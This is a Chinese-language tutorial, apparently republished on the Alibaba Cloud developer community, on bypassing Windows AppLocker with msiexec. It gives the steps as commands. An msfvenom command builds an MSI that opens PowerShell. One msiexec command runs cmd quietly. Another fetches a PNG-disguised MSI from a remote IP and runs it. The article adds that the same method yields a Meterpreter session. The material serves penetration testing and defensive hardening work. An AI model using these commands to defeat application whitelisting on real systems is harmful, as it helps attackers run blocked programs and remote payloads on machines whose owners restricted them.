绕过AppLocker系列之MSIEXEC的利用-阿里云开发者社区

绕过AppLocker系列之MSIEXEC的利用

2017-09-14 1753

版权

本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。

简介： 本文讲的是绕过AppLocker系列之MSIEXEC的利用，MSIEXEC是Windows操作系统中的一个实用程序，可用于从命令行安装或配置产品。如果环境配置不正确，则使用.MSI文件就可以允许攻击者执行权限升级或绕过AppLocker规则。

本文讲的是 绕过AppLocker系列之MSIEXEC的利用， MSIEXEC是Windows操作系统中的一个实用程序，可用于从命令行安装或配置产品。如果环境配置不正确，则使用.MSI文件就可以允许攻击者执行权限升级或绕过AppLocker规则。本文的以下内容表明，当系统配置为不阻止所有用户执行MSI文件时，那么系统就得不到正确的保护，因为任何一个AppLocker的可执行规则都可以轻松绕过。

可以使用Metasploit 的MsfVenom来生成用于执行命令或有效载荷的.MSI文件。

msfvenom -f msi -p windows/exec CMD=powershell.exe > powershell.msi
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 199 bytes
Final size of msi file: 159744 bytes

绕过AppLocker系列之MSIEXEC的利用

使用 MsfVenom 生成 MSI 文件

运行powershell.msi 将会打开一个PowerShell会话，这样就可以绕过AppLocker的规则了，即使已经设置了所有用户都不可以执行PowerShell。

绕过AppLocker系列之MSIEXEC的利用

利用MSIEXEC 运行 PowerShell

同样可以利用这种方式运行cmd命令，即使Windows系统已经阻止了cmd命令的执行。

msiexec /quiet /i cmd.msi

绕过AppLocker系列之MSIEXEC的利用

执行上述命令后，就会弹出cmd的窗口。

绕过AppLocker系列之MSIEXEC的利用

另外，msiexec实用程序还可以运行已经重命名过的MSI文件，比如重命名为PNG的MSI文件。这些文件可以在命令提示符中本地执行或从远程执行，当然也可以绕过AppLocker规则执行。

msiexec /q /i http://192.168.100.3/tmp/cmd.png

绕过AppLocker系列之MSIEXEC的利用

利用MSIEXEC执行PNG文件，弹出cmd

上述操作同样可以用在Meterpreter payload 执行MSI文件上。

绕过AppLocker系列之MSIEXEC的利用

利用MSI 执行 Meterpreter Payload

绕过AppLocker系列之MSIEXEC的利用

利用MSIEXEC获得Meterpreter 会话

原文发布时间为：2017年6月22日

本文作者：丝绸之路

本文来自云栖社区合作伙伴嘶吼，了解相关信息可以关注嘶吼网站。

原文链接

文章标签：

Windows

绕过AppLocker系列之MSIEXEC的利用

热门文章

最新文章

相关电子书

相关实验场景